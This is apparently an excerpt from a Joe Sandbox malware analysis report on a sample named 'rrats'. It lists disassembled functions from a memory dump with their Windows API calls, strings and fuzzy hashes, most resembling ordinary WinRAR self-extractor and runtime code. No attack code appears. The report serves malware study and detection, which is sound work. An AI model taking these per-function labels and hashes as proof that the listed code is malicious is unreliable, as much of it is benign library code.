<style>, xrefs: 00CB9E30
</style>, xrefs: 00CB9E52

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: 6cc8543d3b7edaf92461e54abc5594595420a9e52a0d7faf9e14c4be95a393eb
Instruction ID: 8ddb59badfdf87eaf157c227d1c6b33b07ee37b8d68a7ca5b5216e3e9cf78f92
Opcode Fuzzy Hash: 6cc8543d3b7edaf92461e54abc5594595420a9e52a0d7faf9e14c4be95a393eb
Instruction Fuzzy Hash: C851E56674036395DB309A769822BF673E0DFA1750F69442AFFD18B2C0FB75CE818261

Function 00CCF68D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00CCFE02,00000000,00000000,00000000,00000000,00000000,00CC529F), ref: 00CCF6CF
__fassign.LIBCMT ref: 00CCF74A
__fassign.LIBCMT ref: 00CCF765
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 00CCF78B
WriteFile.KERNEL32(?,00000000,00000000,00CCFE02,00000000,?,?,?,?,?,?,?,?,?,00CCFE02,00000000), ref: 00CCF7AA
WriteFile.KERNEL32(?,00000000,00000001,00CCFE02,00000000,?,?,?,?,?,?,?,?,?,00CCFE02,00000000), ref: 00CCF7E3

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: b39e2655062f000bd1c2a561f2cef8eda3a88453daad817482f2bb7c0d985a6f
Instruction ID: 76a4c0ba8af459320be2e094976cda4bbcd3385f8fd01ee0d9d00af5c6e2c0e2
Opcode Fuzzy Hash: b39e2655062f000bd1c2a561f2cef8eda3a88453daad817482f2bb7c0d985a6f
Instruction Fuzzy Hash: 805141B19002499FDB10CFA8DC85FEEBBF5EF09310F14416EE555E7291D670AA42CBA1

Function 00CC2900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00CC2937
___except_validate_context_record.LIBVCRUNTIME ref: 00CC293F
_ValidateLocalCookies.LIBCMT ref: 00CC29C8
__IsNonwritableInCurrentImage.LIBCMT ref: 00CC29F3
_ValidateLocalCookies.LIBCMT ref: 00CC2A48

Strings

csm, xrefs: 00CC29DD

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: e9a978eed9c0ac18b70e9b8458f163e6ed8fe88e37aae04469b8d0621368b7b6
Instruction ID: bb4c7b7e56d3235fab02c3f049201f1280f5cdc4f018ca9f2fdd4678b66c38be
Opcode Fuzzy Hash: e9a978eed9c0ac18b70e9b8458f163e6ed8fe88e37aae04469b8d0621368b7b6
Instruction Fuzzy Hash: AE41D534E00248AFCF10EF69C885F9EBBB5EF44324F14805AE819AB392D771DA51DB91

Function 00CB9ED5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00CB9EEE
GetWindowRect.USER32(?,00000000), ref: 00CB9F44
ShowWindow.USER32(?,00000005,00000000), ref: 00CB9FDB
SetWindowTextW.USER32(?,00000000), ref: 00CB9FE3
ShowWindow.USER32(00000000,00000005), ref: 00CB9FF9

Strings

RarHtmlClassName, xrefs: 00CB9FA5

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 5fbe6f84da5016fae0f0ad06b3d8a8e180cabfa1f431c25e050a6e091cf27c39
Instruction ID: 13de0d52a234b3e9722d96dec1b1db3ed4de1cb01346f36e9779646f7f2a56a0
Opcode Fuzzy Hash: 5fbe6f84da5016fae0f0ad06b3d8a8e180cabfa1f431c25e050a6e091cf27c39
Instruction Fuzzy Hash: 0F41A031008314EFCB216FA5EC48BAB7BACEF48711F008559F95A9A156DB34DA54CBA2

Function 00CB9955 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00CB995E
_wcslen.LIBCMT ref: 00CB9993

Strings

<br>, xrefs: 00CB99DF
, xrefs: 00CB99B0
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00CB9987
 , xrefs: 00CB9A21

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: 01c328b9091117bc375fe59e1bc6941e461c03f0a644141c03929129dc4d890c
Instruction ID: aeb9cff46b9f3cbfba9834b029291d1b94580589d7ee34d1338d83c6222083b2
Opcode Fuzzy Hash: 01c328b9091117bc375fe59e1bc6941e461c03f0a644141c03929129dc4d890c
Instruction Fuzzy Hash: 8A31403264434556DA34AB54AC42BFB73A4EB50720F50842FFAA6972C0FB70EF4193A5

Function 00CCC8A4 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CCC868: _free.LIBCMT ref: 00CCC891

_free.LIBCMT ref: 00CCC8F2

Part of subcall function 00CC8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00CCC896,?,00000000,?,00000000,?,00CCC8BD,?,00000007,?,?,00CCCCBA,?), ref: 00CC8DE2
Part of subcall function 00CC8DCC: GetLastError.KERNEL32(?,?,00CCC896,?,00000000,?,00000000,?,00CCC8BD,?,00000007,?,?,00CCCCBA,?,?), ref: 00CC8DF4

_free.LIBCMT ref: 00CCC8FD
_free.LIBCMT ref: 00CCC908
_free.LIBCMT ref: 00CCC95C
_free.LIBCMT ref: 00CCC967
_free.LIBCMT ref: 00CCC972
_free.LIBCMT ref: 00CCC97D

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction ID: 8508b89f69b22fdd97d766211fc38b5f9eb3e7f9c7b61647e3a2991f987d99f6
Opcode Fuzzy Hash: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction Fuzzy Hash: 20110D71980B05AAE520B7B1DC87FCB7BBC9F04B00F804C1DF29E660D2DA65E509A750

Function 00CBE5EE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00CBE669,00CBE5CC,00CBE86D), ref: 00CBE605
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00CBE61B
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00CBE630

Strings

AcquireSRWLockExclusive, xrefs: 00CBE615
KERNEL32.DLL, xrefs: 00CBE600
ReleaseSRWLockExclusive, xrefs: 00CBE625

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 0421938d4c7277efade8b5b8b26ca7339f29aad1d82403f1907fd04c228025e2
Instruction ID: ce3ab5f329f79f99fd185c4e38cdc4581cc7bcbe8256b5c84833195bdee5a488
Opcode Fuzzy Hash: 0421938d4c7277efade8b5b8b26ca7339f29aad1d82403f1907fd04c228025e2
Instruction Fuzzy Hash: 74F0F635B8176A9F9F224F665C847EAB3C86E25F41B04043AFD15D3340FB10CE50ABA5

Function 00CB146A Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00CB14C2

Part of subcall function 00CAB146: GetVersionExW.KERNEL32(?), ref: 00CAB16B

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00CB14E6
FileTimeToSystemTime.KERNEL32(?,?), ref: 00CB1500
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00CB1513
SystemTimeToFileTime.KERNEL32(?,?), ref: 00CB1523
SystemTimeToFileTime.KERNEL32(?,?), ref: 00CB1533

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 23132968e417fe9b39d11df200bc3493d4a4737a8e35205c5e93ecc36037a543
Instruction ID: 967bfbffa5bbfcdbd7a5123f3705f1f41709e0e06e8edac2e1a57c0fa998103d
Opcode Fuzzy Hash: 23132968e417fe9b39d11df200bc3493d4a4737a8e35205c5e93ecc36037a543
Instruction Fuzzy Hash: 6931E875108346ABC704DFA8C884A9FB7F8BF98714F444A1EF999C3210E734D649CBA6

Function 00CC2AFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00CC2AF1,00CC02FC,00CBFA34), ref: 00CC2B08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00CC2B16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00CC2B2F
SetLastError.KERNEL32(00000000,00CC2AF1,00CC02FC,00CBFA34), ref: 00CC2B81

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: e14b66b75c6ccbda90dd90529c2ed88d31f861e821b463cad64bbba197bd5d6e
Instruction ID: 85018138de8df2f37b817aeca30a7f3bd3f3e3f2886447bb7474e985f1c3f899
Opcode Fuzzy Hash: e14b66b75c6ccbda90dd90529c2ed88d31f861e821b463cad64bbba197bd5d6e
Instruction Fuzzy Hash: 8F01F23221A722AFE6642B75FC95F2F2B99EF41B74B60473FF122590E0EF115E01A244

Function 00CC97E5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00CE1098,00CC4674,00CE1098,?,?,00CC40EF,?,?,00CE1098), ref: 00CC97E9
_free.LIBCMT ref: 00CC981C
_free.LIBCMT ref: 00CC9844
SetLastError.KERNEL32(00000000,?,00CE1098), ref: 00CC9851
SetLastError.KERNEL32(00000000,?,00CE1098), ref: 00CC985D
_abort.LIBCMT ref: 00CC9863

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 3e50cb498cc611eca23747828d66c7b2230e4fcc60a630e6bcd33f03257d9da0
Instruction ID: f17bf1e2931b28f6c61db2aa5de233d0ab31d72a52a63d88c37acc99c74bff15
Opcode Fuzzy Hash: 3e50cb498cc611eca23747828d66c7b2230e4fcc60a630e6bcd33f03257d9da0
Instruction Fuzzy Hash: D9F0223610160266C6523338FC0EF2F2B69CFD2B35F25003DF629A31D2EE308D06A266

Function 00CAC0C5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 00CB05DA: _wcslen.LIBCMT ref: 00CB05E0

Part of subcall function 00CAB92D: _wcsrchr.LIBVCRUNTIME ref: 00CAB944

_wcslen.LIBCMT ref: 00CAC197
_wcslen.LIBCMT ref: 00CAC1DF

Strings

.sfx, xrefs: 00CAC11A
.exe, xrefs: 00CAC10B
.rar, xrefs: 00CAC0E1, 00CAC134

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: 64c95a0e6545d86d5038e58d9c1b35e6c030c3e5f2dc538d131159942aa9ad33
Instruction ID: c78be7e957c980d7f60fa4192f756ac28eecd9f5481f8abb979c1ee42dc4ec73
Opcode Fuzzy Hash: 64c95a0e6545d86d5038e58d9c1b35e6c030c3e5f2dc538d131159942aa9ad33
Instruction Fuzzy Hash: 5A414A2260035395C732AF748892A7F73B8EF4375CF24490EFAA1AB182EB504F81D391

Function 00CABB03 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00CABB27
GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,00CAA275,?,?,00000800,?,00CAA23A,?,00CA755C), ref: 00CABBC5
_wcslen.LIBCMT ref: 00CABC3B

Strings

UNC, xrefs: 00CABBA7
\\?\, xrefs: 00CABB52, 00CABB99, 00CABBF7, 00CABC4E

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: 7ec7832b75334196feb0079892a18c084da0b25be027c833d2fa1eff0b257954
Instruction ID: 6d6100f07a981ebdecf799dcbaee4b6168134376483872e3b58a1aff68e6fb58
Opcode Fuzzy Hash: 7ec7832b75334196feb0079892a18c084da0b25be027c833d2fa1eff0b257954
Instruction Fuzzy Hash: 0241B271400257A6CF21AFA0DC45EEF77ADAF423ACF108566F924A3152EB70DE90DB60

Function 00CBB6DD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00CBB6ED
GetObjectW.GDI32(00000000,00000018,?), ref: 00CBB712
DeleteObject.GDI32(00000000), ref: 00CBB744
DeleteObject.GDI32(00000000), ref: 00CBB767

Part of subcall function 00CBA6C2: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00CBB73D,00000066), ref: 00CBA6D5
Part of subcall function 00CBA6C2: SizeofResource.KERNEL32(00000000,?,?,?,00CBB73D,00000066), ref: 00CBA6EC
Part of subcall function 00CBA6C2: LoadResource.KERNEL32(00000000,?,?,?,00CBB73D,00000066), ref: 00CBA703
Part of subcall function 00CBA6C2: LockResource.KERNEL32(00000000,?,?,?,00CBB73D,00000066), ref: 00CBA712
Part of subcall function 00CBA6C2: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00CBB73D,00000066), ref: 00CBA72D
Part of subcall function 00CBA6C2: GlobalLock.KERNEL32(00000000), ref: 00CBA73E
Part of subcall function 00CBA6C2: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00CBA762
Part of subcall function 00CBA6C2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00CBA7A7
Part of subcall function 00CBA6C2: GlobalUnlock.KERNEL32(00000000), ref: 00CBA7C6
Part of subcall function 00CBA6C2: GlobalFree.KERNEL32(00000000), ref: 00CBA7CD

Strings

], xrefs: 00CBB71A

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
String ID: ]
API String ID: 1797374341-3352871620
Opcode ID: 2b494df56d3920df9ea3c3f1015dda3aea372981504f0ae59846948cfd8bfe17
Instruction ID: 5b4e8d45838a0c7ec352cec0c72baf0b21128e0c484c18b9dee482ec54b93652
Opcode Fuzzy Hash: 2b494df56d3920df9ea3c3f1015dda3aea372981504f0ae59846948cfd8bfe17
Instruction Fuzzy Hash: 7401C03654060167C7227B799C49BEF7ABE9FC0B52F080011F954B7291EFB18E0992B1

Function 00CBD600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00CA1316: GetDlgItem.USER32(00000000,00003021), ref: 00CA135A
Part of subcall function 00CA1316: SetWindowTextW.USER32(00000000,00CD35F4), ref: 00CA1370

EndDialog.USER32(?,00000001), ref: 00CBD64B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00CBD661
SetDlgItemTextW.USER32(?,00000066,?), ref: 00CBD675
SetDlgItemTextW.USER32(?,00000068), ref: 00CBD684

Strings

RENAMEDLG, xrefs: 00CBD618

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 475e166afa11cd7d0fc3d8a3bd0142fc13e3af8364cc5b21d7bae888416d9d91
Instruction ID: 4aa975e44746168b96666356d736db2530eec7aeb260e432002e814da747f6b1
Opcode Fuzzy Hash: 475e166afa11cd7d0fc3d8a3bd0142fc13e3af8364cc5b21d7bae888416d9d91
Instruction Fuzzy Hash: F8012833345314BAD2204F659D09FAB776CEB5AB02F010815F30AE21D0D6A29A05CB7A

Function 00CC7E73 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00CC7E24,?,?,00CC7DC4,?,00CDC300,0000000C,00CC7F1B,?,00000002), ref: 00CC7E93
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00CC7EA6
FreeLibrary.KERNEL32(00000000,?,?,?,00CC7E24,?,?,00CC7DC4,?,00CDC300,0000000C,00CC7F1B,?,00000002,00000000), ref: 00CC7EC9

Strings

CorExitProcess, xrefs: 00CC7E9E
mscoree.dll, xrefs: 00CC7E8C

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
